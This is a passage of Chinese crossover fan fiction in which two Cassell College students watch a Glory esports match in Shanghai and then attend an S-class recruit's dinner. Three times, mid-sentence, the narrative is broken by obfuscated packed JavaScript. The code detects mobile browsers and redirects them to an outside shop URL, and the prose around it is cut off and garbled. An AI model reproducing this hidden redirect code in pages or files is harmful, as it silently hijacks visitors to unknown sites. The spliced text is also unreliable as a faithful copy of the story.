话说到这个份上,夏明晞虽然心里还是觉得有点别扭,但也无法再反驳。她知道学院对这位S级新生的重视程度,也明白任务的重要性。只是美人计这个词,以及被当作策略的一部分,让她有些不自在。 诺诺倒是接受得很快,她已经兴致勃勃地开始规划:“那我们需要穿得特别一点吗?要不要统一着装?看起来更像学院代表?我觉得我们可以……” “保持平常的着装就好,得体大方。”酒德亚纪笑着打断她的遐想,“太刻意反而不好。” 车子抵达机场,办理登机手续,过安检,一切都还算顺利。古德里安教授一路都在研究路明非的资料,时不时低声和叶胜、酒德亚纪交流几句。诺诺则拉着夏明晞嘀嘀咕咕,讨论着上海有什么好玩的好吃的。 漫长的跨洋飞行后,飞机降落在上海浦东国际机场。走出舱门,熟悉又略带陌生的潮湿空气扑面而来,耳边是久违的、带着各种口音的中文。夏明晞深深地吸了一口气,心里涌上一股复杂的情绪。真的回来了,虽然只是短暂停留。 学院已经安排好了接机和住宿。他们入住了市中心一家看起来颇上档次但并不显眼的酒店。古德里安教授和叶胜、酒德亚纪一间套房,方便商讨事宜;夏明晞和诺诺则共享一间双床房。 安顿下来后,古德里安教授召集大家开了个短会。 “面试安排在明天下午,地点就在仕兰中学。今天和明天上午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088451|195413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自由活动时间,大家可以稍作休整,也可以熟悉一下周边环境。”教授看了看时间,“记住,保持联络畅通,注意安全,不要惹麻烦。明天中午12点前,必须回到酒店集合。” “明白!”诺诺立刻响应,眼睛已经亮晶晶地开始盘算去哪里玩了。 散会后,回到房间,诺诺把背包往床上一扔,整个人也扑了上去,发出一声满足的叹息:“终于到啦!上海!美食!逛街!” 夏明晞则打开自己的行李箱,开始整理衣物。她的动作不紧不慢,心里却在想着明天的任务,还有……那场可能存在的比赛。 “明晞!”诺诺突然从床上弹起来,跑到她面前,“我们下午去逛街吧!晚上去看比赛!” 夏明晞整理衣服的手顿了顿:“什么比赛?” “还能是什么比赛?”诺诺叉着腰,“轮回对蓝雨啊!主场!就在今天晚上!你昨天不是都查了吗?别装傻!” 夏明晞沉默了一下,继续叠衣服:“我们没票。” “嘿嘿!”诺诺得意地笑出声,像只偷到腥的小猫。她转身从自己那个不大的双肩包里摸索了一阵,然后变戏法似的,掏出了两张印制精美、带有轮回战队和荣耀联赛标志的门票,在夏明晞眼前晃了晃,“看看这是什么?” 夏明晞看着她手里的票,又看了看诺诺脸上那副“快夸我聪明”的表情,心里明白了七八分。她停下手中的动作,直起身,双手抱在胸前,微微眯起眼睛看着诺诺,语气里带着一丝了然和淡淡的鄙夷: “你故意的吧。” 这不是疑问句,是陈述句。 诺诺一点儿也不心虚,反而笑得更灿烂了,她把票塞到夏明晞手里:“什么叫故意?我这叫有备无患!未雨绸缪!你看,我提前让诺玛……呃,我是说,我提前关注了一下赛事信息,发现时间正好,就顺手搞了两张票。多贴心啊!知道你心里惦记着,这不就给你安排上了嘛!” 夏明晞看着手里那两张票,位置似乎还不错。她能想象诺诺是怎么“顺手”搞到票的——无非又是借助了诺玛那无孔不入的信息处理能力,或者用了点其他小手段。这个家伙,为了满足自己的好奇心和玩闹心,真是无所不用其极。 “任务期间,私自行动去看比赛,不太好吧。”夏明晞试图做最后的挣扎,虽然她自己也知道这话没什么说服力。自由活动时间,去看场比赛,似乎也不算违规。 “有什么不好的?教授都说可以自由活动了,注意安全就行。”诺诺理直气壮,“我们又不去什么危险的地方,就是去看个正规的电竞比赛,感受一下中国年轻人的文化生活嘛!这也是了解目标人物生活环境的一部分,对吧?”她说着,自己都忍不住乐了。 夏明晞知道说不过她。而且,内心深处,她确实被那两张票,和被诺诺点破的、自己对那场比赛的隐约期待,给触动了。去看看吗?只是远远地看看,看看他现在的舞台,看看他为之奋斗的世界,是什么样的。 好像……也没什么不可以。 她捏着那两张票,指腹能感受到纸张特有的质感。良久,她轻轻吐出一口气,把票仔细地放进自己风衣的内袋里。 “就去看一眼。”她说,声音不大,像是对诺诺说,也像是对自己说。 “这就对啦!”诺诺欢呼一声,扑过来搂住她的脖子,“赶紧收拾,我们出去吃午饭,然后逛逛,晚上去看比赛!我都打听好了,比赛场馆附近就有好多好吃的……” 夏明晞被她晃得头晕,无奈地拉开她的手:“别晃了,我收拾完就走。” 窗外的上海天空,是熟悉的、带着点灰蒙蒙的亮白色。城市的声音隐隐传来,车流,人声,熟悉的腔调。夏明晞加快了收拾的动作,心里那股复杂的感觉越发清晰。 有对任务的责任感,有回到家乡的些微恍惚,还有……对于几个小时后,可能远远瞥见那个熟悉身影的、连自己都无法完全辨明的忐忑与期待。 就像诺诺说的,就去看一眼。只看一眼。 11. 晚风月光与少年(三) 晚饭后,华灯初上的上海街头人流如织。诺诺拉着夏明晞,循着导航,朝着比赛场馆的方向走去。越靠近场馆,穿着各色战队应援服、手持荧光棒和灯牌的年轻粉丝就越多,空气里弥漫着一种热烈的、属于竞技场的兴奋感。 夏明晞默默地跟着诺诺,脚步却不由自主地有些滞涩。她出门前,特意翻出了一副能遮住半张脸的深色墨镜,又扣上了一顶黑色的棒球帽,把帽檐压得很低。墨镜的镜片在夜晚街灯的映照下,反射着冰冷的光。 诺诺走着走着,一扭头看见夏明晞这副“全副武装”的打扮,忍不住噗嗤一声笑了出来。她伸手戳了戳夏明晞架在鼻梁上的墨镜镜框:“我说,夏明晞同学,你这是什么造型?大晚上的戴墨镜,还加个帽子?你是怕被狗仔队偷拍,还是觉得自己太出名了需要伪装一下?” 夏明晞抬手扶了扶墨镜,把它推得更稳一些,视线透过深色镜片看向前方喧闹的人群,声音闷闷的,没什么起伏:“你不懂。” “我不懂?”诺诺凑近她,试图从墨镜边缘窥探她的表情,却只看到自己模糊的倒影,“我有什么不懂的?不就是怕被你那个普通同学看见嘛!至于嘛,就算看见了又怎么样?打个招呼,说声好久不见,不就完了?搞得跟做贼似的。” 夏明晞没再接话,只是加快了脚步,混入前方涌向检票口的人流中。诺诺见她这样,耸了耸肩,也不再追问,只是快步跟上,嘴里小声嘀咕:“搞不懂你们这些心里有鬼的人……” 检票,安检,顺着指示牌和涌动的人潮进入场馆内部。巨大的环形空间豁然开朗,中央是比赛舞台和四面悬挂的巨型电子屏幕,此刻正播放着暖场视频和赞助商广告。震耳欲聋的音乐,闪烁变幻的灯光,还有四面八方传来的、年轻观众们兴奋的交谈与呼喊声,瞬间将两人淹没。 夏明晞和诺诺都是第一次来到这种大型的电竞比赛现场。卡塞尔学院的训练场和礼堂虽然也宏伟,但气氛截然不同。这里充满了纯粹的、为竞技和偶像沸腾的热情。诺诺好奇地左顾右盼,眼睛亮晶晶的,显然被这种氛围感染了:“哇,好多人!好热闹!比我们学生会派对嗨多了!” 夏明晞也微微仰起头,环视着这个能容纳数千人的场馆。空气是温热的,带着人体聚集特有的气息,还有爆米花和饮料的甜香。她找到她们的座位区,位置确实不错,在中前排,视野清晰,但又不会太过靠近舞台和选手席,不至于被轻易注意到。 两人坐下后,比赛很快开始。先是个人赛和擂台赛。夏明晞的目光几乎从一开始就牢牢锁定在轮回战队选手席的那个身影上。导播的镜头时不时会扫过选手区,每当画面定格在周泽楷脸上时,现场总会爆发出一阵格外热烈的尖叫和欢呼。 他穿着轮回标志性的黑黄队服,安静地坐在那里,微微低着头,似乎在看手边的战术板,又似乎只是在闭目养神。和身边偶尔交流两句的队友相比,他显得格外沉静。但当他起身走向比赛席时,那种沉静就化为了另一种东西——一种全神贯注的、仿佛整个世界只剩下眼前屏幕的锐利。 现在是荣耀职业联赛第六赛季,周泽楷担任轮回战队队长已经一年。解说和资料显示,在他的带领下,这支原本的中游队伍,已经稳进季后赛,成为了联盟中一股不可忽视的新兴力量。 屏幕上的战斗激烈异常。周泽楷操作着他的角色一枪穿云,神枪手的双枪在他手中仿佛有了生命,子弹划出的轨迹精准而致命,走位飘忽灵动,总能在间不容发之际避开对手的杀招,同时给予雷霆般的反击。华丽的特效光影伴随着音效,一次次点燃全场。 夏明晞看得极其认真,身体微微前倾,墨镜后的眼睛一眨不眨地盯着大屏幕,追随着那个角色的每一个动作。她不懂太多复杂的战术,但能直观地感受到那种强大。那是一种经过千锤百炼、几乎化为本能的强大。舞台灯光打在他专注的侧脸上,额发有些被汗湿,贴在皮肤上。现在的他,和记忆里那个在奶茶店对她笑、在球场边为她加油的男生,似乎重叠,又似乎已经分离得很远。这是一种……意气风发的、在属于自己战场上闪耀的模样。 旁边的诺诺虽然也看得起劲,但更多是在感受气氛。她凑到夏明晞耳边,大声说道:“喂,你家这位,打游戏的时候和平时简直是两个人啊!话这么少,操作这么凶!不过蓝雨那边那个黄头发、话特别多的家伙是谁?我的天,他一边打一边在频道里刷了得有几百个字了吧?他们俩简直是两个极端!” 夏明晞知道她说的是蓝雨战队的王牌选手黄少天,以惊人的手速和同样惊人的垃圾话闻名联盟。她点了点头,目光却没有离开屏幕。确实,周泽楷的沉默和黄少天的聒噪,是联盟里著名的对比。 个人赛和擂台赛结束,中间有短暂的休息和表演环节,然后是重头戏团队赛。选手们重新登场,做最后的准备。现场的灯光暗了一些,大屏幕开始随机扫过观众席,捕捉观众们兴奋的表情,偶尔定格,引起一片哄笑或欢呼。 就在团队赛即将开始的倒计时中,一束追光配合着镜头,突然毫无预兆地扫向了夏明晞和诺诺所在的区域。 诺诺那头火焰般的红发在昏暗的观众席中本就十分显眼,镜头几乎立刻锁定了他。大屏幕上清晰地出现了诺诺放大的脸庞,她显然愣了一下,随即对着镜头露出了一个灿烂又带点俏皮的笑容,还挥了挥手。周围响起一片口哨和掌声。 而就在诺诺旁边,镜头边缘,不可避免地也带到了那个戴着黑色棒球帽和深色墨镜、正下意识低头想躲的女孩侧影。虽然只有短短一两秒,画面就切换了,但那个低头的动作和标志性的遮掩打扮,在明亮的屏幕上一闪而过。 夏明晞的心脏猛地一跳,几乎要冲出胸腔。她立刻把头埋得更低,手指死死抓住膝盖上的背包带子,心里疯狂地默念:没看到没看到没看到……灯光这么暗,镜头那么快,他又在准备比赛,肯定不会注意到的…… 与此同时,选手准备区。 周泽楷拧开一瓶矿泉水,仰头喝了几口。冰凉的水液滑过喉咙,稍稍缓解了连续比赛带来的紧绷感。他微微闭了闭眼,调整着呼吸,准备迎接接下来的团队赛,那才是真正的硬仗。 他无意间抬起头,目光习惯性地扫向正前方悬挂的、实时转播现场画面的大屏幕。屏幕上正好是观众席的镜头,一个红发女孩笑得明媚,非常吸引眼球。他并没有什么特别的反应,只是觉得这女孩头发颜色很醒目。 坐在他旁边的副队长江波涛也看到了,小声笑着说了句:“这红头发,真够显眼的。” 周泽楷的视线下意识地随着江波涛的话,往红发女孩旁边略微偏移了一下。 就那一眼。 尽管那个女孩戴着几乎遮住半张脸的墨镜,尽管她压低了帽檐,尽管只是惊鸿一瞥的侧影和那个熟悉的、下意识躲避镜头的低头动作…… 周泽楷握着矿泉水瓶的手指骤然收紧,塑料瓶身发出不堪重负的咯吱声。他的瞳孔在瞬间剧烈收缩,呼吸有那么一刹那的停滞。 夏明晞? 怎么会是……夏明晞? 那个毫无征兆地消失,切断所有联系,只留下一句“以后不要联系了”的夏明晞? 她回来了?在上海?还来看他的比赛? 她是……来找他的吗? 无数个问号像沸腾的开水,在他脑海中翻滚冲撞。胸口某个地方,沉寂了许久,以为已经麻木的地方,突然传来一阵尖锐的刺痛,紧接着是滚烫的灼烧感。 “队长?”江波涛察觉到了身边人瞬间的僵硬和气息变化,疑惑地转过头,轻轻推了推他的胳膊,声音里带着关切,“怎么了?没事吧?脸色有点不好。” 周泽楷猛地回过神来。他深吸了一口气,那口气吸得很深,像是要把场馆内所有喧嚣的空气都压进肺里,再缓缓地、用力地吐出来。他摇了摇头,没说话,只是将手里那瓶已经被他无意识捏得有些变形的矿泉水拧紧瓶盖,放到一边。塑料瓶身凹陷下去的地方,缓缓地、艰难地回弹着,却再也恢复不了原状。 “走吧。”他听见自己的声音说,比平时更加低沉,甚至带着一丝不易察觉的沙哑。 团队赛开始了。 但今天轮回战队的粉丝,以及他们的对手蓝雨战队,都明显感觉到了一丝不同。轮回的核心,队长周泽楷,在团队赛中的表现……异常凶猛。 不是平时那种精准、冷静、寻找机会一击致命的风格。今天他的一枪穿云更多了一种强硬的、甚至带着点不管不顾的压迫感。走位更加大胆激进,输出节奏快得惊人,几次关键的突破和救援都显得果断乃至冒险。他像是把某种压抑着的情绪,全部灌注到了指尖的操作和屏幕里的角色上。 蓝雨那边显然被打了个措手不及,战术节奏被完全打乱。就连以机会主义者著称的黄少天,今天在公共频道里的垃圾话都少了几分从容,多了些气急败坏。 比赛在一片震耳欲聋的欢呼声中结束,轮回战队取得了团队赛的胜利,也拿下了今晚整场比赛的胜利。 赛后采访环节,周泽楷一如既往地言简意赅,几乎是用最少的字回答了所有问题,目光有些飘忽,不像平时那样虽然沉默但专注。记者们似乎也习惯了他的风格,例行公事般问了几个问题就放过了他。 一结束采访,周泽楷甚至没来得及和队友多做交流,随手抓起早就准备好的、用于遮掩的鸭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他不想立刻回基地,不想面对队友可能关切的询问。转身,他又走回了场馆内部,朝着洗手间的方向走去。他想用冷水洗把脸,让自己冷静一下,也整理一下这突如其来的、混乱不堪的情绪。 男士洗手间里很安静,只有水流的声音。周泽楷摘掉帽子和口罩,拧开水龙头,掬起一捧冰凉的自来水,用力泼在脸上。冰冷的感觉刺激着皮肤,却无法浇灭心头那团乱麻。 他看着镜子里那张湿漉漉的、难掩倦怠和茫然的脸,水珠顺着脸颊和下颌线滚落。喉结滚动了一下,一个低低的、几乎含在喉咙里的声音,不受控制地溢了出来: “还是不够吗……明晞……” 声音很轻,带着浓浓的疲惫和一丝难以言喻的苦涩。是在问那个消失的人,还是在问他自己?赢得比赛,变得更强,站得更高……还是不够让她看到,让她回来吗? 他不知道。 就在周泽楷低头洗脸,对着镜子失神低语的时候,相邻的女洗手间里,夏明晞正小心翼翼地推开隔间的门,走了出来。 她其实早就想走了,但诺诺非要去买个纪念品,耽搁了一会儿。为了避免和退场大部队挤,她们特意多待了十几分钟。此刻,诺诺还在外面的纪念品商店挑挑拣拣,她先过来洗手。 冰凉的水流冲刷过手指,稍微缓解了一些她紧绷的神经。刚才在观众席被镜头扫到的那一瞬间的惊悸,还有整场比赛看着周泽楷那种陌生又熟悉的强大时复杂的心情,都让她的心绪难以平静。 她关掉水龙头,抽出纸巾慢慢擦着手,准备离开。 就在这时,她听到外面男士洗手间门口,传来熟悉的、带着压抑情绪的男声。 那声音,她绝不会听错。 是周泽楷。 他在这里?在隔壁? 夏明晞擦手的动作瞬间僵住,纸巾从指间飘落。她几乎是本能地,猛地向后缩了一步,背脊紧紧贴在了洗手间内墙冰冷的瓷砖上,屏住了呼吸,一动也不敢动。 隔着不算太厚的墙壁,那个低哑的声音,带着她从未听过的疲惫和苦涩,清晰地传了过来: “还是不够吗……明晞……” 每一个字,都像一把小锤子,重重敲打在她的耳膜上,然后钻进心里,搅起一阵酸涩的疼。 他……在说什么?什么不够? 她僵硬地贴着墙壁,能听到自己心脏在胸腔里疯狂擂动的声音,咚咚咚,响得她害怕会被墙那边的人听见。手指无意识地抠着冰凉的瓷砖缝隙,指尖微微发白。 她不敢出去,甚至不敢大口呼吸。只能像一尊雕塑般,僵立在女洗手间门内的阴影里,听着外面隐约的水流声,和那之后,重新响起的、渐渐远去的、略显沉重的脚步声。 直到那脚步声彻底消失在走廊尽头,夏明晞才像脱力般,缓缓地顺着墙壁滑坐下去,背靠着冰冷的瓷砖,抱住了自己的膝盖。 门外,是已然空寂的走廊。 门内,只有她压抑的、微不可闻的呼吸,和心里那一片无声的兵荒马乱。 12. 晚风月光与少年(四) 夏明晞不知道自己靠着冰冷的瓷砖墙壁坐了多久。脑子里反复回响着那句隔着墙壁传来的、低哑苦涩的“还是不够吗……明晞……”,还有周泽楷在团队赛时那种反常的、近乎发泄般的凶猛操作。这些画面和声音混杂在一起,搅得她心口发闷,太阳穴也突突地跳着疼。 直到口袋里手机震动起来,嗡嗡的声音在空旷安静的洗手间里显得格外突兀,才把她从那种近乎麻木的状态里惊醒。她有些迟缓地掏出手机,屏幕的冷光刺得她眯了眯眼。是诺诺发来的消息:“明晞你掉马桶里啦?买个纪念品都挑完了!快点出来,我在出口这边等你,再不出来我走啦!” 夏明晞盯着那行字看了几秒,才迟钝地反应过来。她扶着墙壁,有些艰难地站起来,双腿因为久坐和血液不畅,传来一阵剧烈的酸麻感,让她忍不住踉跄了一下,差点摔倒。她扶着洗手池边缘,缓了好一会儿,那种针刺般的麻感才渐渐退去。 她走到洗手池前,拧开水龙头,又用冷水狠狠扑了几下脸。冰凉的水珠顺着脸颊滑落,滴在衣领上,带来一丝清醒的刺激。她抬起头,看向镜子里那个脸色苍白、眼下带着疲惫阴影、眼神有些涣散的自己。棒球帽和墨镜还好好地戴着,遮掩得很好,可那副魂不守舍的样子,连她自己看了都觉得陌生。 她深吸一口气,又缓缓吐出,努力把心里那团乱麻压下去。现在不是想这些的时候,还有任务。她对着镜子,用手理了理有些凌乱的额发,调整了一下帽檐,然后转身,推开了洗手间的门。 走廊里已经很安静了,大部分观众和工作人员都已经离开,只剩下零星的清洁工在远处收拾。她按照诺诺发来的定位,朝着纪念品商店的方向走去。脚步有些虚浮,脑子里依旧乱糟糟的,周泽楷最后那句话像魔咒一样盘旋不去。 “明晞!这边!”诺诺眼尖,老远就看到了她,站在商店门口挥着手,手里还拎着个印有轮回队徽的袋子。 夏明晞走过去,诺诺立刻把一个小巧的、黑黄相间的卡通枪手挂件塞到她手里:“喏,给你的!虽然我觉得你大概不会挂出来,但留个纪念嘛!今晚比赛还是挺精彩的,你家那位打得真凶!” 夏明晞捏着那个小小的、塑料质感有些粗糙的挂件,指尖传来冰凉的触感。她没说话,只是点了点头,把挂件塞进了外套口袋。 “你怎么了?脸色这么差?”诺诺凑近她,借着走廊的灯光仔细打量她的脸,眉头微微皱起,“去个洗手间这么久?不舒服?” “没事,有点累。”夏明晞含糊地应道,避开了诺诺探究的目光,“走吧,回去了。” “好吧好吧,走。”诺诺也没再多问,挽起她的胳膊,两人一起朝着场馆出口走去。 她们沿着疏散通道,混在最后一批离场的零星观众中,慢慢往外走。夜晚的空气比场馆内清凉许多,带着城市特有的微尘和远处传来的隐约车流声。夏明晞低着头,帽檐的阴影遮住了大半张脸,心里空落落的,又沉甸甸的。 就在她们即将走出场馆侧门,汇入外面街道的时候。 场馆另一侧,选手专用通道的玻璃门被推开,轮回战队的队员们三三两两地走了出来。比赛结束后的复盘和简短总结已经完成,大家脸上带着胜利后的放松和疲惫,低声说笑着,准备返回基地。 周泽楷走在队伍中间,依旧戴着帽子和口罩,沉默地听着身边江波涛和另一个队友讨论刚才比赛里的某个细节。他的心情并没有因为胜利而轻松多少,那种失而复得又得而复失的茫然与空洞感,像一层湿冷的薄雾笼罩着他。 就在他无意识地抬眼,目光扫向场馆外渐渐稀疏的人流时,脚步猛地顿住了。 远处,靠近街道边缘的位置,一个醒目的红发背影正和一个戴着黑色棒球帽、穿着卡其色风衣的女孩并肩走着。红发女孩似乎正在兴奋地说着什么,手舞足蹈,而旁边那个戴着帽子的女孩则微微低着头,步伐显得有些慢。 那个背影……那个侧影…… 周泽楷的心脏像是被一只无形的手狠狠攥紧,呼吸骤然一窒。是她吗?真的是她?不是幻觉? 他的目光死死锁定在那个方向,脚下不受控制地朝那边挪动了一小步,似乎想要追上去确认。 “队长?”旁边的江波涛敏锐地察觉到了他的异常,停下话头,顺着他的目光疑惑地望过去。他只看到两个普通女孩的背影渐渐走远,汇入了街道上的人流中,并没有什么特别。“你在看什么?认识的人?” 周泽楷猛地回过神来。他意识到自己的失态,迅速收敛了目光,重新看向江波涛,摇了摇头,声音因为口罩的阻隔而有些闷:“没什么。” 他垂下眼帘,插在风衣口袋里的手,却不由自主地握成了拳头。指甲深深掐进掌心的软肉里,带来一阵清晰而尖锐的刺痛感。这疼痛让他混乱的思绪稍微集中了一些,却也让他心底那股无力的烦躁感更加清晰。 真的……是她吗?如果真是她,为什么又走了?来看比赛,却又避开他?那句“还是不够吗”的疑问,再次不受控制地浮现在脑海。 他强迫自己移开视线,不再看向那个已经空无一人的街角,转身对江波涛和其他队友说:“走吧。” 声音平静,听不出什么波澜。只是那插在口袋里的、紧握的拳头,一直到坐上车,都没有松开。 另一边,夏明晞和诺诺已经走到了地铁站入口。诺诺还在兴致勃勃地回忆着比赛的精彩瞬间,点评着双方选手的表现,尤其是对周泽楷最后团队赛的“暴走”状态啧啧称奇。 “你家那位今天是不是吃错药了?打得跟要跟人拼命似的,不过确实帅爆了!”诺诺用手肘碰了碰夏明晞,“哎,你怎么一直不说话?到底怎么了?” 夏明晞摇了摇头,声音有些疲惫:“没什么,就是有点累,想回去了。” 诺诺看她确实精神不济,也不再追问,两人沉默地搭乘地铁,回到了酒店。 这一晚,夏明晞几乎一夜未眠。酒店的床很软,房间也很安静,可她一闭上眼睛,就是场馆里闪烁的灯光、屏幕上飞驰的身影、洗手间隔壁传来的低语、还有最后瞥见的那个模糊的、戴着帽子低头走远的自己……各种画面和声音交织在一起,让她辗转反侧,直到窗外天色渐渐泛起灰白,才迷迷糊糊地浅睡了片刻。 第二天早上,她是被诺诺夸张的惊呼声吵醒的。 “我的天!夏明晞!你昨晚是去做贼了还是去挖煤了?”诺诺穿着睡衣,顶着一头乱糟糟的红发,站在两张床之间,弯着腰,瞪大眼睛看着夏明晞的脸,“你这黑眼圈!快赶上我们国宝了!” 夏明晞挣扎着从床上坐起来,感觉脑袋沉得像灌了铅。不用照镜子,她也能从眼睛的酸涩感和诺诺的反应里猜到自己现在的样子肯定很糟糕。她打了个长长的哈欠,眼角沁出一点生理性的泪水,整个人看起来无精打采。 诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“耶!明晞最好啦!”诺诺立刻欢呼一声,从床边跳起来,“那说定了!上午呢,我们就不想那些烦心事了,出去逛逛,散散心!我知道附近有家超级好吃的生煎包!还有那条很有名的老街,我们可以去拍拍照!晚上呢,我们再精神抖擞地去会会那个路明非师弟!怎么样?” 看着诺诺瞬间恢复活力、眼睛发亮规划行程的样子,夏明晞嘴角终于牵起一丝微弱的、无奈的弧度。她知道诺诺是想让她分心,别老想着昨晚的事。 “好。”她点了点头,掀开被子下床,“我先去洗把脸。” 冰冷的水再次扑在脸上,稍微驱散了一些困意和颓唐。她看着镜子里那个眼圈青黑、脸色憔悴的自己,深深吸了一口气,又缓缓吐出。 周泽楷有他的路要走,他的战场在屏幕上,他的目标是所有的冠军。 而她,也有她必须完成的事。接回S级新生,完成学院的任务,然后……或许,也该鼓起勇气,回家面对母亲,也面对自己这一年来所有的变化和选择。 他们都在往前走,即使方向不同,即使曾经短暂交错又分离。 她拿起毛巾,擦干了脸上的水珠,眼神渐渐变得清明了一些。 “诺诺,”她走出卫生间,对正在翻行李箱找衣服的诺诺说,“你说的那家生煎包,远不远?” 诺诺抬起头,看到她似乎恢复了一些精神,高兴地笑了:“不远不远!走走就能到!快点换衣服,我们出发!” 13. 晚风月光与少年(五) 晚上的丽晶酒店,灯火通明,水晶吊灯折射出璀璨却冰冷的光。夏明晞跟在古德里安教授身后,走进预定好的包间时,一眼就看到了已经坐在里面的两个人。 一个看起来普普通通、穿着有些宽大校服外套的男生,和一个戴着眼镜、表情严肃、像是长辈或者老师的女人,应该是他的监护人。男生微微低着头,手指无意识地抠着桌布的边缘,显得有些拘谨和不安。这就是路明非,那个传说中的S级新生。 夏明晞在心里默默打量着他。早上的面试是由叶胜和酒德亚纪负责的,她和诺诺没有参与,只知道面试结束后,只有路明非一个人接到了进一步的邀请,来到这间酒店包间。具体的面试内容她不清楚,她和诺诺的任务,用教授的话说,就是“展现学院的良好形象,营造亲切氛围”,说白了,就是露个脸,镇镇场子。 关于路明非的一些情报,她是从诺诺那里听来的。那个家伙,不知道又通过诺玛查了些什么乱七八糟的东西,兴奋地跟她八卦:“你知道吗?这个路明非,居然暗恋他们班一个叫陈雯雯的女生好久了!啧啧,青春期的小心思啊!” 夏明晞当时有些惊讶,蹙着眉看诺诺:“你怎么连人家这种隐私都知道?” 诺诺得意地晃了晃手机,屏幕上似乎闪过一些数据流:“这有什么,诺玛出马,资料详实!知己知彼,百战不殆嘛!” 夏明晞对此只能表示无语。现在,亲眼看到路明非本人,她更加难以将眼前这个看起来有些怯懦、毫无特殊之处的男生,和“S级”这个代表着顶尖血统与潜力的词联系起来。他的长相真的很普通,是那种扔进人堆里就找不出来的类型,眼神里带着这个年纪男生常见的茫然和一点不易察觉的自卑。唯一特别的,或许就是他身上那种……过于平凡的气质,在这种场合下反而显得有些格格不入。 诺诺不知道又跑到哪里去了,包间里暂时只有古德里安教授、叶胜、酒德亚纪,以及她和路明非叔婶。古德里安教授热情洋溢地招呼着,开始了他那套早已准备好的、极具煽动性的学院推介。 教授口若悬河,从卡塞尔学院的悠久历史、雄厚师资、优越环境,讲到独特的研究方向和广阔的未来前景。他甚至还提到了路明非的父母,用一些模糊但听起来很厉害的描述,暗示着他的出身不凡与学院的渊源深厚。当然,暂时隐瞒了和龙族相关的事,要是现在说出来肯定会被他监护人认为他们是“一群疯子”的吧。 “路明非同学,你的父母都是我们学院非常优秀的研究人员,他们在一些前沿领域做出了卓越贡献……”教授说得情真意切,眼睛时不时瞟向路明非,观察着他的反应。 夏明晞安静地坐在一旁,面前摆着一杯柠檬水。她听着教授那些半真半假、充满诱惑力的说辞,心里没什么波澜,甚至有点走神。这些话,一年前她也听过类似的版本,只是那时坐在对面的是她和母亲。如今角色调换,她成了学院代表之一,这种感觉有点微妙。 她无聊地端起水杯,小口抿着,冰凉的液体滑过喉咙。眼角余光瞥见路明非听得有些发愣,他叔叔婶婶则交换着将信将疑的眼神,似乎在评估他们到底是不是骗子。夏明晞在心里悄悄打了个哈欠,赶紧用喝水掩饰过去。这种场合,确实容易让人犯困,尤其是当她很清楚教授话里哪些是重点,哪些只是华丽的包装时。 介绍完学院,古德里安教授话锋一转,开始介绍在场的人。 教授的手指向了夏明晞:“这位是夏明晞同学,和你一样,是卡塞尔学院的学生,目前就读二年级。她和你一样来自中国,成绩优异,表现突出。你们以后可能就是同学了。” 夏明晞抬起眼,迎上路明非看过来的目光。她对他微微颔首,算是打过招呼,脸上没什么特别的表情,既不热络也不冷漠。路明非似乎有些紧张,也赶紧点了点头,又把视线移开了。 教授的长篇大论还在继续,路明非却突然站了起来,声音有些干涩地说:“抱歉……我,我想去一下洗手间。” 包间里的谈话暂时中止。路明非低着头快步走了出去,他婶婶似乎想说什么,被他叔叔用眼神制止了。 教授清了清嗓子,拿起水杯喝了一口,脸上依旧保持着笑容,只是眼神里闪过一丝不易察觉的急切。夏明晞继续安静地坐着,手指无意识地摩挲着冰凉的玻璃杯壁。 过了一会儿,包间的门被推开,先走进来的是路明非,眼睛似乎有点红红的,像是用力揉过,或者……哭过?他低着头,不太敢看人。紧接着,诺诺像只轻盈的猫一样,也溜了进来,脸上带着一种若有若无的、促狭又了然的笑意,她径直走到夏明晞旁边的空位坐下。 夏明晞的目光在路明非微红的眼眶和诺诺那副“我什么都懂”的表情之间转了转,心里大概猜到了几分。估计是诺诺这个自来熟又在外面偶遇了路明非,说了些什么或者做了什么,才让路明非这副样子回来。她有些鄙夷地看了诺诺一眼,觉得她这种助攻方式实在有点过于简单粗暴,甚至恶劣。 古德里安教授像是没注意到路明非的异常,或者故意忽略了,他立刻又换上热情的笑容,指着刚坐下的诺诺说:“啊,这位是陈墨瞳,我们都叫她诺诺。她也是我们学院的二年级学生,和夏明晞同学一样优秀。诺诺性格开朗,乐于助人,以后你在学院有什么不明白的,也可以多问问她。” 服务员开始上菜,精美的菜肴一道道摆上桌,气氛似乎缓和了一些,但也更显诡异。古德里安教授努力寻找着话题,叶胜和酒德亚纪偶尔配合着说几句,路明非的叔叔婶婶则更多地关注着桌上的菜和诺诺、夏明晞这两个突然出现的漂亮女孩,眼神里带着审视和好奇。 诺诺似乎完全不受这种气氛影响,她拿起筷子,眼睛在桌上扫了一圈,然后非常自然地,伸出筷子,从对面叶胜的盘子里,叉走了一块看起来就很美味的鲑鱼卷。 叶胜显然愣了一下,看着自己空了的盘子,又看看诺诺。诺诺冲他眨了眨眼,毫不在意地把鲑鱼卷塞进嘴里,嚼得津津有味。 坐在叶胜旁边的酒德亚纪见状,忍不住轻笑了一声,然后默契地、动作自然地将自己盘子里那块还没动过的鲑鱼卷,也夹起来,放到了诺诺面前的碟子里。 诺诺眼睛一亮,毫不客气地笑纳了。夏明晞看着这一幕,嘴角微微抽动了一下。她自己的那份鲑鱼卷,早就被她没什么胃口地、慢慢地吃完了。诺诺这种“强盗”行径和酒德亚纪的纵容,她已经见怪不怪。 